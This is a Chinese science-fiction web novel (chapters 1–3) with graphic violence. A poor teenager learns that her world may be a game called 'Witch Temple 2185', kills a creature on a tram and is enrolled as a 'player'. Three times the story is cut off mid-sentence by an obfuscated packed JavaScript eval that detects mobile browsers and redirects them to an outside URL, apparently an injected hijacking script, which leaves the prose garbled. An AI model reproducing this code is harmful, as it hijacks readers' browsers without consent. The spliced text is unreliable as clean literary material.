《有时候作为NPC也挺无助的》 1. NPC 老师死了。 死得很突然。 具体过程大概就是那个秃顶老头站在讲台上慷慨激昂地从几亿年前的宇宙大爆炸说到百年前联邦政府统一全球的时候,他那四溅的唾沫星子和让人昏昏欲睡的催眠声音戛然而止,紧随着的,就是教室里此起彼伏的尖叫声。 辛来是被尖叫声吵醒的。 她抬起头时,正好看见讲台上的老头握着话筒往自己喉咙口怼,黑色的金属棒直直穿过了下巴,从后脑勺那穿了出去。 鲜血四射。 血透过了播放着第五次世界大战的全息屏,甩在了后头的遮光帘上,正好外面飞进来了一只鸟,鸟被血滴砸中,身上冒出了一股青烟,尖叫着跌落了下来。 辛来沉默了三秒,又趴了回去。 “醒醒!别睡了!” 坐旁边的同学杜琛一巴掌糊了上来,辛来吃痛地“嗷”了一声,怨念地瞪了他一眼。 ——真的疼。 杜琛认真地盯着辛来看了会儿,盯到辛来都觉得有点毛骨悚然了,才一字一顿道:“你是低级NPC。” 辛来一拍桌子,站了起来:“......你有病。” NPC就算了,还低级? 杜琛不依不饶:“那你告诉我,今年是什么年?” 辛来:“未历85年。” “老师死了,你什么感觉?”同桌又问。 辛来回头看了眼遮光帘上喷溅的血液,视线划过了死得透透的教授。广播里传来人工智能克雷特的避难指示音,外面的警笛声由远及近。 辛来觉得莫名其妙:“什么什么感觉?” 杜琛:“你应该感到恐惧,不安,无措......喏,你看他们。” 同学们面色苍白,神情里是掩盖不住的惶恐。 杜琛看着毫无反应的辛来,笃定道:“看吧,你还说你不是低级NPC。” 他说着露出了一副感慨的神情:“我还以为这全息游戏会做的足够真实,没想到还是会有凑数的NPC啊。” “你真的有病。”辛来翻了他一个大白眼,扭头跟着警察出去了。 死人这种事情,在港城区不常见,但也不算太少。怕是肯定会有人怕的,但也不至于像杜琛这么大惊小怪。 警察草草做了笔录,没太详细,只随便问了几个问题就放人走了。 毕竟城市各处各地都有联邦政府的监控摄像头,真正发生了什么,让人工智能克雷特调个档案立刻就能知道。 做笔录只是延续旧制度的例行公事,顺便看看目击者需不需要心理疏导。 “不用了,谢谢您。”辛来果断地拒绝了。 警察透过眼镜扫了辛来一眼,语气冷淡:“心理疏导是免费的,所有公民均可享用。” 他特意强调了“所有”二字,目光若有似无地划过了终端机上的资料。 资料上没几个字,用一句话总结起来就是:名字不重要,性别不重要,年龄不重要,公民等级E。 联邦政府虽然在百年前统一了世界并停止了国家之间的战争,但他们依据存款及贡献水平给公民划分了三六九等。 公民等级从A到E,辛来还算幸运,靠着早亡的父母留下的那八百邦存款,和联邦政府对未成年人的财务补助,勉强维持住了E级的身份。 “真不用。”辛来说,“我等会还有个面试。” 这话不假。 辛来确实在3点半有个面试。 联邦在七年前开始推行教育制,年龄段内的学生入学可以领取学业鼓励金。 辛来下个月就要满十八了,也就是说那之后领不到学业鼓励金了。 这也就意味着她即将连房租都要交不起,就此沦为“无身份者”,成为社会的蛀虫,哪天失踪了都不会被联邦数据库记录下来的渣滓。 一想到这里,辛来就觉得生活依旧稳定,稳定得像坠机前的沉默。 见联邦警察依旧秉持着“秉公执法”的本能试图开口说些什么,辛来赶忙指了指门外:“比起我......我觉得他更需要治治。” 门外的杜琛感觉到辛来的目光,冲着她咧开嘴,比了个巨大的拇指。 警察:“......确实。” 辛来趁机溜了。 联邦开放给给E级公民的岗位少之又少,但偏偏E级公民人数极多,所以一个屁大点的岗位都有几百来个人争,能得到面试通知都已经是拜了八辈子祖坟得来的福气。 哪怕那只是个薪资微薄的保安岗。 港城区在沿海地带,常年阴雨绵绵,风中一直带着股海的黏腻感。车窗外面的天空一片青灰,远处工厂的烟囱一刻不停地冒着黑烟。 大概是还没到上下班高峰期,这班悬浮电车里一共就俩人,一个辛来,一个靠在座位上睡得东倒西歪的男人。 人一到过于寂静的环境里就容易胡思乱想。辛来盯着车外划过的风景,脑子里忍不住跳出来了杜琛说的那句话—— “你是个低级NPC。” 辛来想了又想,也依旧想不明白杜琛到底在放什么屁。 “要真是NPC还好了呢......” 起码NPC只要按游戏设定活着就行了,完全不用考虑生计。 “东城站,到了,请下车的乘客拿好随身物品。” 电车缓缓驶入了站,下降的悬浮车身与站台轨道缓缓贴合,铁皮摩擦,发出了令人牙酸的声响。 角落的男人似乎被这个声音给吵了醒,缓缓地坐起了身,茫然地左顾右盼了一番,忽地夸张地“啊”了声,跳了起来。 辛来被他吓了一跳,刚想默默用眼神绞杀对方,电车一震,停了下来。 “东城站,到了,请下车的乘客拿好随身物品。” 机械女声又报了一遍站名,车门却没有打开。 站台外面空旷得可怕,惨白的灯光照着铁皮地板,反射的光线刺过车玻璃,晃得眼疼。 以往站台里多少会有那么几个流浪汉躺在站台角落,今天却干净到连他们的被褥行头都看不到。 “东城站,到了,请下车的乘客拿好随身物品。” 报站声持续不断地作响,辛来按了几下开门铃,车门却依然纹丝不动。 沙沙...... “东......站,到了,请下......的乘客拿......物、品。” 当电车进行第四次报站时,辛来终于察觉到了一丝丝不对劲。 这奇怪的感觉从今天早上起床开始就如跗骨之蛆爬满全身,背脊发凉,坐立难安,像是有个墩头的锥子,不停地敲击着神经发出警告—— 有危险。 危险? 为什么会有危险? 电车里面会有什么危险? 沙沙...... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943239|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “来了...来了!”西装男人发出了声兴奋的怪叫。他看起来激动极了,连身体都在发抖,提着公文包的手爆出了青筋,面色涨得通红,“任务来了!” 辛来一愣:“任务......?” 又是任务。 早上教授死在讲台上时,杜琛就提起过“任务”,甚至他提起所谓“任务”时的神态都跟眼前这个西装男如出一辙。 他说的那游戏叫什么来着......? “魔女神殿......” “魔女神殿2185!”西装男惊诧地喊出了声,“你也是内测玩家?” 辛来:“啥?” 男人压根没在听辛来说了什么,只自顾自地冲上前来,抓着辛来一个劲地摇:“你接到任务了没?清除电车中的伪态生物!” 任务?内测? 伪态生物......? 什么跟什么? 男人:“哎哟说实话这游戏做得可太真实了!我早上摔了一跤,到现在都还在疼呢!” 真是游戏......? 这是新发售的VR游戏?嵌入式芯片型的?往脑子里嵌?还是眼睛里? 男人说的每个字辛来都能认得,但是这么些个字眼组合起来之后,她就开始迷惑了。 沙沙...... 不知哪里传来的“沙沙”声越来越响,伴随着断断续续的报站声,一股寒意“嗖”地窜上了后脖颈。 汗毛竖起时,身体先动了,脑子却还在回放着‘伪态生物’这三个字,像卡顿的视频。 男人被她吓了一跳,疑惑地“咦”了声,刚往前迈了一步,一根奇粗的黑影忽地刺了下来。 一声巨响,鲜血飞溅。 男人的表情还停留在刚才神采飞扬的模样,带着未消的兴奋和一丁点疑惑,瞳孔却已然放了大,眼神里黯淡没了光。 公文包应声落地。 辛来愣愣地站在原地,脑子里一片空白。 脸上身上被劈头盖脸浇了滚热的鲜血,铁锈味混着空气中的咸腥一同蹿进鼻腔。 那是一根长满了肉瘤的藤蔓状物体。 藤蔓缓缓蠕动着,凹凸不平的肉瘤随着它的动作微微收缩。暗红色的血管在藤蔓表面蜿蜒,像是寄生在其中的生命体,一下一下地跳动着。 硬刺从男人的脖颈贯穿到腰侧,粗.长的刺尖直直捅进了电车的铁皮底,线圈短路引起的火花噼啪作响。 男人被硬刺的力量带得向前倾斜,头颅无力地垂向一侧,脖颈处的伤口狰狞可怖,隐约可见断裂的颈骨和扭曲的气管。 片刻后,藤蔓开始变得柔软,像是失去了支撑的骨骼,缓缓从男人的身体里抽离。 空气中弥漫着温热的铁锈味,耳边响起湿滑的摩擦声,像有人在死命搓揉泡水的皮革。 男人的身体随着藤蔓的动作而微微抽搐,脖颈和胸腔的伤口被拉扯得更加狰狞,血肉模糊的创口边缘挂着碎肉和断裂的血管。 最终只听“噗嗤”一声,藤蔓退出了男人的身体,像一条吃饱喝足的蛇,缓缓缩回了电车的顶部。 身体失去了支撑,男人轰然倒地,重重摔在血泊之中,发出了一声闷响。 鲜血汩汩涌出,一点点流淌到辛来的脚下。 辛来控制不住地顺着藤蔓往上看去—— 电车顶部,有数百只血红的眼睛正死死地盯着她。 2. 伪态生物 不知何时已然布满了车顶的肉瘤藤蔓密密麻麻,一根根交织在一起,像是个巨大的、活着的巢穴。 那些蠕动的肿块缓缓张开,露出一只只浸满血丝的眼睛,眨动间渗出细小的粘液,滴落在座椅上,发出黏腻的‘啵啵’声。 密密麻麻的眼睛相互拥挤着,宛如霉菌,蔓延着覆盖了整个车顶,几乎完全遮蔽了后面银灰色的铁皮。 肉瘤藤蔓缩进了一道闭合着的窄缝,缝隙蠕动了几下张了开。 张开的缝隙间拉出了粘稠的细丝,但很快就被后面滋生出的红色眼球给顶了破。那硕大无比的血瞳四处旋转了一圈,蓦地,对准了辛来。 遇到超出常人理解范围的生物了怎么办? 1.跑; 2.大喊“救命”。 眼下辛来能想到的只有这么两个办法,但不管是哪个,都压根行不通。 车门紧闭,玻璃窗没有开口,车尾的紧急逃生按钮被淹没在了藤蔓下面。 外面空无一人,站台服务机器人在闸机口旁边,离电车有十万八千里,等它来了,怕是她尸体都凉透了。 顶上的眼睛目不转睛地盯着,即使只是微微移动手指的细微动作,那些血红的瞳孔也会随之转动,仿佛在等待她露出破绽的瞬间。 脑中的警铃刺耳,像有人揪着神经狂拉。 辛来毫不怀疑,只要自己稍微动上那么一下,下一秒,她就会变成下一个西装男——一具被硬刺贯穿的尸体,倒在血泊中,毫无生机。 指尖滑进口袋。终端机的屏幕亮起,屏幕光刺得她眼睛发疼。辛来忍不住想:这种时候,报警有用吗? 屏幕的微光在口袋离的黑暗中显得格外刺眼,她不动声色地输入了联邦警察的紧急求助电话,指尖微微颤抖。可...... 没有信号。 终端机屏幕闪烁着雪花点,机身滚烫得几乎握不住,辛来“啧”了声,摁熄了屏。 社交媒体上从来没有过任何一篇有关于世界上的异常存在的报导,她活在这世上快十八年,也从来没见到过这种生物,这种生长在铁皮公交上的、拥挤着的、布满红血丝的眼睛—— 她只剩下唯一一个选择。 要么她死,要么它死。 紧张会使人的神经更加高度集中,对死亡的恐惧催使着脑子飞速运转。辛来不敢从天花板上移开目光,她只怕自己一个闪神,就会被怪物杀死。 公交里的制冷系统开始不太灵光了,黏湿的气息压得人几乎没法呼吸。 飞速运转的大脑和紧绷的神经无一不在侵蚀着她的体力,冷汗顺着额角滑落,不知是对未知生物的恐惧还是其他什么原因,辛来只觉得自己浑身都在发抖。 肾上腺素飙升,眼睛发酸,汗湿的衣服黏住皮肤,像裹了一层冷湿的保鲜膜。 难受。 难忍。 ……想赶紧弄死这个东西,回家洗澡睡觉。 没有任何办法能够保证万无一失,但如果不试,那只有死路一条。 焦糊味掺着血腥气,直钻进鼻腔。 辛来的目光迅速扫过车厢,视线落在刚才被藤蔓刺穿的地板上—— 铁皮被撕裂的边缘像犬牙般参差不齐,底下裸露的电线交织错乱,断开的线头还在“噼啪”作响,溅出细小的蓝色火花。 ——她打不开车门,但这个所谓的“伪态生物”可以。 时间不允许辛来考虑更多。 手心的汗水让扶手湿滑,她下意识收紧指尖,直到指甲刺进掌心——却浑然不觉。 脑子里的警铃疯狂大作,像是有一根紧绷的弦在耳边震颤。而就在这时,一股熟悉的毛骨悚然感从背脊窜出。 辛来果断朝前一扑,几乎是同一瞬间,身后传来一声巨响。 粗壮的藤蔓像一柄从天而降的利刃,狠狠刺向了她刚才站立的位置。 铁皮地板被掀翻,发出令人胆寒的金属撕裂声,空气中弥漫着一股腥臭的湿气,连风都变得有几分锋利。 辛来的后脊还残留着针扎般的凉意,但她不敢有丝毫停顿。 她紧接着就地一滚,几乎是贴着地面躲开了第二根藤蔓的攻击。 常年不锻炼的身体在这一刻显得格外笨拙,肌肉像是被撕裂般传来剧烈的酸痛,但她咬紧牙关,强迫自己撑起胳膊,迅速起身,跃步跳上了车窗边的座椅。 藤蔓紧随而至。 第一根藤蔓刺穿了座椅旁的地板,铁皮和电线被撕裂的声音刺耳至极;第二根藤蔓则从她的脚跟旁擦过,直接刺穿了座椅,海绵和弹簧碎片四散飞溅。 辛来眼疾手快地抓住头顶的扶手,借力抬脚踩上窗玻璃,勉强避开了第三根藤蔓的攻击。 死亡当头,肾上腺素疯狂分泌,辛来根本没时间思考身体的极限,求生的意志战胜了一切。 就在这时,又一支眼睛闭合化作了藤蔓,像一条毒蛇般飞快袭来。 辛来脚跟使力,硬生生地将自己的身体从藤蔓的攻击路线上撇开。她的动作几乎是在极限边缘完成,藤蔓擦着她的腰侧划过,带起一阵刺痛的风。 紧接着,随着“啪嚓”一声—— 电车的防弹玻璃碎了。 如她所料! “东城站,到...到...请下......客拿好随身...品。” 广播的声音断断续续,电流的声音在空旷的车厢内回荡。 车身微微摇晃,外面的风从破碎的车窗灌了进来,带着一丝刺骨的凉意,混杂着车内黏腻的空气,令人窒息。 辛来没有犹豫。 她松开紧握的扶手,用胳膊护住脸,深吸一口气,朝破碎的车窗撞去。 玻璃碎片在她的皮肤上划出细小的伤口,鲜血渗出,但她顾不上疼痛,就地打滚跳了起来,憋着一口气咬着牙往外冲了十几米。 ——危机还没有解除。 车站里的冷空调还在嗡嗡作响,空气却异常黏腻,就仿佛被什么看不见的膜笼罩,连呼吸都变得困难。 周围弥漫着一种令人窒息的压迫感,像是被一只无形的手攥住了喉咙。 辛来的皮肤上泛起一层细密的冷汗,仿佛空气中充满了看不见的触须,正无声地缠绕着她。 直觉疯狂响着警告。 心跳如擂鼓,耳膜里充斥着血液奔涌的声音。透过碎开的玻璃窗框,车内的东西清晰可见。 生长着怪眼的藤蔓荡下了数十根触手般的枝条,像一条条贪婪的蛇,勾住了西装男的身体。 藤蔓将他捆缚着提溜起来,像猪笼草消化蚊蚁一样,开始缓慢而残忍地碾碎他的躯体。 西装男的身体在藤蔓的绞杀下缓缓塌陷,骨骼断裂的‘咔嚓’声刺得耳膜发疼。随即,一阵湿滑的碾压声响起,像一块肉被挤压进搅拌机。 藤蔓微微鼓胀,血液从根茎渗出,没过两秒,西装男的存在就被彻底抹去,只剩下几串脓血从藤蔓的缝隙中滴答落下,砸在地板上,发出轻微的“滴答”声。 电车天顶的眼睛蔓延到了车玻璃上。 一只只血红的眼睛紧贴着玻璃,它们的瞳孔在黑暗中收缩扩张,再下一刻,所有的眼睛都齐齐盯向辛来。 ——它们盯上我了。 辛来的心中忽地冒出了这么个想法。 她逃不掉。 除非它死。 站台外面一定能有杀得死眼睛的东西,但辛来不确定自己能不能跑得过这些怪东西。 即使跑出去了,又该向谁求救? 联邦警察?整个东城区都可能找不出一名警察。 路人?东城区的居民连自己的命都不一定能保住,谁会冒险去帮一个毫无利益可图的路人,去挑战一群从未见过的怪物? 就连机器人都会在判定公民等级之后把她的请求拖了再拖, 没有人能帮她。 除了她自己。 辛来的目光迅速扫过站台,试图找到任何可以利用的东西。 角落堆着流浪汉的被褥和空饮料瓶,墙上的电子壁挂正轮番播放广告,身后是电车闸机口,以及站在闸机内侧的服务机器人—— 服务机器人! 辛来的脑海中迅速闪过了一个念头。 计算机科学课上老师讲过,联邦科技部在五年前更新了所有机器人的程序机制,非战斗型机器人都被添加了自毁系统。 一旦受到严重攻击,它们就会启动自毁程序,引发小范围爆炸,以震慑不法分子。 爆炸——不确定能不能行,但她眼下没有更好的办法了。 辛来咬紧牙关,扭身冲机器人跑去。 只有小半人高的机器人安安静静地站在闸机边上,蓝色的像素屏眼睛在看到辛来靠近时变换出了两道弧线,内置音响发出了无机质的电子音:“您好,请...” 没等它说完那句“请问需要帮助吗”,辛来已经抓住它的短胳膊,用力将它拖了起来。 ……好沉。 但能拖得动。 平时只能靠自己扛着米面油盐爬楼梯的好处在此刻得到了充分利用,辛来抓起机器人那根短粗的胳膊就往前冲。 闸机口距离电车轨拢共三十米上下,助跑十米,缓冲两米,只要在藤蔓攻击之前将机器人抡圆丢出去,就一定能行。 九米,七米——咔嚓!地板塌了,辛来脚下一空,踉跄两步,强撑着扭身甩出机器人。她耳边响起尖啸声,刺得脑袋发涨。 电车里的怪眼已经挤出了破损的窗口,几只硕大的红色巨眼眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943240|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着缝盯向这处。 不知是紧张使然还是其他什么原因,这短短的几秒钟仿佛被无限延长。辛来甚至能看清那些怪眼如何射出尖刺长藤—— 三五根蠕动着的尖椎像是慢动作般刺向被抛出的椭球机器人,下一刻,视觉又恢复正常,失去了手中重物的辛来因为身体的惯性而控制不住地向反方向飞了出去。 几声刺响乍然响起。 机器人的身体被怪眼的尖刺戳穿,得到了猎物的藤蔓缓缓将它拖向车厢。 辛来粗喘了几口气,紧绷着的身体无时无刻不在叫嚣着酸胀和疼痛。她却不敢放松警惕,紧紧盯着前方,不敢移开目光。 ——会成功吗? 服务式机器人,会像她了解的那样启动自爆程序吗? 伪态生物……会被杀死吗? 等待让时间变得漫长。 每一秒都像被拉长,心跳声在耳边轰鸣。辛来的手指无意识地攥紧,指甲深深嵌入掌心,却感受不到丝毫疼痛。 不知道是错觉还是什么,辛来甚至觉得自己能看得清数百条藤蔓缓缓蠕动的流向,能看见从它们的树纹里分泌出的黏着液体。 液体将机器人的铁皮灼烧出一股股白烟,它蓝色的眼睛缓缓跳至红色,本该是眼睛形状的像素格疯狂闪烁。 忽地一声刺耳的“哔”声划破了空气,尖锐而急促。 “警告......警告!主体受到攻击!主体受到...击、即刻启动...爆系统...,即刻启...自爆系统!” “10,9……” 藤蔓一根根缠绕上来,机器人胖鼓鼓的身体被勒得凹陷,外壳发出不堪重负的“吱嘎”声。 倒计时声开始断断续续,红色的眼睛冒出了雪花点。 “...5…5、4…” 辛来紧张地注视着一切,过度紧绷的神经让她几乎感受不到胳膊上嵌入的玻璃渣带来的疼痛。 机器人碎裂的外壳兜不住内里的零件,线圈擦出细微的火花,齿轮一颗颗掉在地上,滚落至铁轨,发出清脆的响声。 那声音仿佛死亡倒计时,一点点凿在她的神经上。 “2……” “1。” “自......启动。” “...、系统...动。” “自...自爆系统启动。” 计时过后,机器人的眼睛骤然被红色填满。 一刹那,鸦雀无声。 藤蔓停止了蠕动,眼球也不再眨动,唯有那黏液滴落在铁皮上发出的“滋啦”声响,以及候车厅顶上的钟表走动时发生的轻微动静。 辛来屏住了呼吸。 再下一刻,随着一声震耳欲聋的巨响,一股热浪袭来,车厢瞬间被火光淹没。 火光吞噬了一只又一只的眼睛,火势碾过了一片又一片的藤蔓。机器人自爆弹射出的零件碎片燃烧着,如烟花般飞射了开来,划破空气。 辛来就地一滚,钻去了垃圾桶后,借用厚重的金属挡住了飞溅的火星。 无数惊啸声顷刻响起,高低混杂的尖细碎响仿佛是变调的唢呐,嘈杂着蜂拥着挤进脑海。 黏湿的空气被炽热取代,烧灼着湿润的水汽,化作了更加灼烫的高温,扑面而来的热浪让辛来不得不抬手挡住脸。 ……成功了吗? 成功了吧。 火势还在蔓延,但那令人心如猫爪的尖啸声渐渐停了下来。 像尖椎一样一下一下刺激着神经的危险预警愈来愈弱,最终归为静止。除却眼前那一片燃烧着的狼藉和空气里灼热的温度,一切好像如常了。 电车的残骸在火光中显得格外狰狞,铁皮被烧得扭曲变形,玻璃碎片散落一地,反射着跳动的火焰。 烧焦的藤蔓蜷缩成一团,表面布满了焦黑的裂痕,“噼啪”的爆裂声一声接着一声。 肉瘤在高温中炸开,却只是吐了些黄黑的浓浆,一点点萎缩,变成干瘪的皮囊,被火吞灭。 空气中的黏腻感渐渐消退,脑子里疯狂作响的警告不知道什么时候悄无声息地消停了。 辛来缓缓松了口气,紧绷的身体终于稍稍放松。 她的后背已经被冷汗浸透,手指微微颤抖。 站台内的空调重新开始运转,冷气从通风口缓缓吹出,带着一丝清凉,驱散了空气中残留的灼热和腥臭。 却就在这时,她的脑子里忽地传来了“叮铃”的一声。 〖通知〗 〖您已杀死“伪态生物”〗 〖您已通过隐藏任务“临危不乱”〗 〖恭喜您夺得“玩家”资格〗 〖是否接受?〗 〖是〗〖YES〗 辛来:......啊? 3. 系统 ……好。 很好。 所谓“玩家”,所谓“游戏”,前一秒辛来还觉得杜琛和西装男是神经病,现在她觉得自己也被传染了。 她的眼前现在有一块会随着视线的移动而移动的半透明全息屏。 全息屏长得很像百来年前的游戏界面,底色暗蓝,边缘泛着微弱的荧光,跟从老式CRT显示器里透出来的似的。 这种只出现在眼球前方的全息屏理论上不是没可能实现,联邦信息部早在五年前就提出过用嵌入式芯片取代终端机的建议,为此他们还出了个宣传片,吹得是天花乱坠。 只是提议是一回事,研发是另一回事。 人脑的神经纤维尤其发达,嵌入异物必然会引起一系列不良反应。 即使是有源源不断的低级公民为了那几个公民点数去做人体实验,但死亡比超过了成功率,联邦不得不将这个项目暂停。 换句话说,现在这种情况,只有一个可能性—— 她脑子有病。 “呸呸呸!” 辛来连连拍了自己几个嘴巴子,撕裂的伤口扯得她倒吸了口冷气。 愈合剂在包里,但她那可怜的包刚刚落在了车里,跟着爆炸一起葬身在了火海,而唯一可以提供暂时性帮助的服务型机器人也已经英勇就义。 辛来觉得自己肯定是今天早上起床的方式不对。 要不然怎么会这么点背。 不仅点背,而且视力也下降了。 不然为什么这个对话框上面给的选项是“是”和“YES”啊! 这两个选项有什么不一样吗!?是她看不懂“是”还是不明白“YES”的意思啊! 就好像读懂了辛来心里的想法似的,屏幕上闪起了雪花点,显示“YES”的地方缓缓地变成了“否”。 可辛来的目光刚移动上去,“否”下面就多了一行红色的小字: 〖如果拒绝,宿主将于0秒后自爆〗 辛来:“……” 来真的啊?! 感情早上起床就出现的那股不详的预感指得不是电车里的东西,而是这不知道哪里冒出来的破系统啊! 虽然非常想选“否”,但是那行小字实在是让人心里发怵。 “立刻死和之后死还是有区别的。” 辛来这么劝说自己。 她的目光在“否”上停留了几秒,移向了“是”。 界面静止了几秒,闪烁起了雪花点。 紧接着,新的弹窗出现在了眼前: 〖通知〗 〖欢迎登入《魔女神殿2185》系统〗 〖“玩家”已成功注册〗 “魔女神殿......” 还真有这玩意啊?? 辛来忽然觉得,她不该因为太穷而连着十年都没做过身体检查。 起码—— 对,起码应该定期检查一下脑子。 否则为什么这个她切切实实生活了十八年的世界,会被一个突然入侵到脑子里的“系统”称作为游戏? 2185……现在确实是2185年没错,那“魔女神殿”又是什么? 就跟听见了辛来的心声似的,电子屏闪了几闪,出现了一大段简介: 〖《魔女神殿2185》为一款赛博风格的虚拟现实游戏,玩家的意识将进入科技文明高度发达的游戏世界,扮演游戏世界公民,在这个充满危险与机遇的世界中生存、探索并揭开隐藏的真相〗 〖游戏内包含多种挑战,为提供更真实的沉浸式游戏体验,除人物面板及任务结算外,本系统不主动提供任何引导,请玩家自行探索并制定策略〗 〖注意:所有NPC均具有高度自主意识,请各位玩家严肃对待,确保自身安全〗 〖祝您游戏愉快〗 “扮演......?” 辛来的脑海中一瞬间闪过了无数念头,那些个念头却又像油滑的蝌蚪,在快要抓到时一瞬间四散开来,混乱又嘈杂。 西装男和杜琛都是别人扮演的?他们的意识已经被替换成了所谓的“玩家”? 这个世界......真的只是个游戏? 她真的只是个NPC? 可辛来清楚地记得己从小到大的每一个细节:父母的离世、E级公民的身份、为了生存而挣扎的每一天…… 不说这个,单说刚才西装男死在她面前时溅到身上的温热血液,辛来不确定什么游戏能做得那么真实。 更别提这个《魔女神殿2185》是由一个科技水平还停留在百年前的人类文明开发的。 电子屏最下角的小字写着:发售日2025年2月27日。 这东西比起游戏,更像是什么脑黑客的恶作剧。 把病毒植入人脑,让人们觉得自己生活在虚拟世界。 ……对,没错,一定是这样的。 电子界面在显示完消息之后就消失了,安静得仿佛从未存在过。 但只要意念一动,右上角便会出现一个小人图标——那大概就是游戏简介里的“个人信息面板”。 不管她到底是不是NPC,这游戏是真是假,是真的低等人类文明研发的游戏还是联邦政府的秘密实验,辛来没有功夫去点开看。 再不跑,就得进局子。 火还没灭,灯光闪了几下,亮了。远处角落的的监控摄像头也闪起了红灯,一点点开始调整角度。 辛来根本顾不上什么系统什么伤口,跳起来拔腿就跑。 灯光亮起意味着电力已经恢复,电力恢复意味着克雷特能够立刻掌握当下的所有信息:监控画面,电车运行状态,以及服务型机器人损毁情况。 联邦警察会被同步所有信息,而眼下这种情况……很难不被判定为“恐怖袭击”。 就算是A级公民涉及恐怖袭击都会被判以有期徒刑,辛来这种E级的—— 那就是堪比阴沟里的老鼠,一脚一个啊。 辛来一个激灵,翻过闸机就跑。 一股带着灰土味的风扑面而来。 东城站在工厂区正当中,一出站就能瞧见数个高耸的烟囱静静地矗立在天际线上。管道和钢架纵横交错,锈迹斑斑的表面在阳光下泛着金属的光泽。 天很阴。 港城区常年阴雨,运气好的话能下点正常的雨水,运气不好的话就会遇上能把人给淋到秃顶的酸雨。 辛来的伞也跟着电车一起阵亡了,这会儿要是下了酸雨,她可就完全是体无完肤了。 辛来加快了步伐,一边跑,一边从口袋里掏出那部侥幸存活的终端机。 终端机屏幕已经裂成了蜘蛛网,但还能勉强看清时间。 ——3点21,还有九分钟,还来得及。 面试时间还没过,只要她跑得快一点,或许还能赶上。 辛来的手指无意识地攥紧了终端机,指节微微发白。 这个面试机会对她来说太重要了。 公民等级E级,几乎找不到像样的工作,更何况是发电厂这种相对稳定的岗位。 哪怕刚刚在电车上经历了那样的恐怖,哪怕她的衣服上还沾着血迹和碎玻璃,她也绝不能放弃这个机会。 辛来深吸一口气,强迫自己冷静下来。 她将终端机塞回口袋,抓了抓乱糟糟的头发,用袖子擦了擦脸上的灰污,努力让自己看起来像一个正常的、没有任何精神疾病的普通公民。 ——冷静,辛来,冷静。 她快步往前走去,尽量让自己的步伐显得从容,而不是像刚刚从爆炸现场逃出来的嫌疑人。 爆炸发生时,整个车站都处于断电状态,监控不工作,站台里也没有目击者。 人工智能克雷特不可能在无电无信号的状况下得知一切,这就意味着联邦警察不会轻易怀疑到她的头上。 至少,暂时不会。 但辛来很清楚,E级公民在这种事情上从来都是最先被怀疑的对象。 哪怕她只是路过,哪怕她什么都没做,只要警察觉得她“可疑”,她就会被拖进审讯室,甚至可能直接被丢进废弃区。 她必须让自己看起来毫无破绽,尽量让自己的动作显得自然。 工厂区的建筑像一座座沉默的巨人,锈迹斑斑的管道和钢架在阳光下泛着冷光。 只要她能顺利赶到发电厂,只要她能通过面试,只要她能有一份正式的工作—— 联邦警方至少会因为她不是无业游民而多考虑一下。 在E级公民中,无业游民是最容易被怀疑的对象,甚至不需要证据,只要警察觉得你“可疑”,你就会被拖进审讯室。 但如果有工作,哪怕只是最底层的保安岗位,她也能勉强算是个“有正当职业”的人。 ——至少,警察在怀疑她之前,会多花几秒钟思考一下。 辛来努力平复自己的呼吸,手心渗出冷汗,她强迫自己保持镇定。 四周安静至极,她几乎能听到自己的擂鼓似的心跳声。 发电厂很快就到了。 发电厂的外面用铁丝网拦着,上面挂着一块破破烂烂的牌子,油漆剥落,字迹模糊,勉强能辨认出“东城火力发电厂”几个字。 牌子的一角已经锈蚀,随风轻轻晃动,发出“吱呀吱呀”的声音。 铁丝网后面,几个巨大的烟囱几乎快要捅破天际。烟囱的底部连接着复杂的管道系统,管道表面布满了锈迹和补丁,像是被反复修补过无数次。 空气中弥漫着一股刺鼻的金属味,混合着说不清的化学气味,让人感到喉咙发痒。 地面上覆盖着一层厚厚的灰,像是从烟囱里飘落的烟灰,踩上去会发出轻微的“咯吱”声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15943241|177456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 辛来顿住了脚步。 ……不对劲。 很不对劲。 这里......太安静了。 工厂区本应该是喧嚣的——机器的轰鸣、金属的碰撞、蒸汽的喷涌,这些声音本该充斥在空气的各个角落,可现在,除了呼吸声和脚步声,什么也听不到。 没有机器的轰鸣,没有工人的动静,甚至连海风都静止了,灰土也不曾飘动一分。 辛来的心跳开始加快,手心渗出冷汗。 她抬头看向烟囱,里头没有烟雾冒出,管道里也没有蒸汽的声音,这里的一切都像是被按下了暂停键,安静得让人毛骨悚然。 那股说不上来的奇怪感觉再一次蹿了上来。 保安亭里空无一人。 亭子里的椅子歪倒在一边,桌上散落着几张泛黄的报纸,办公桌上放着个破茶杯。 茶杯口挂着几片还没干掉的茶叶碎,杯子里冒着热气,很显然,这里刚才还有人在,可现在却完全失去了踪影。 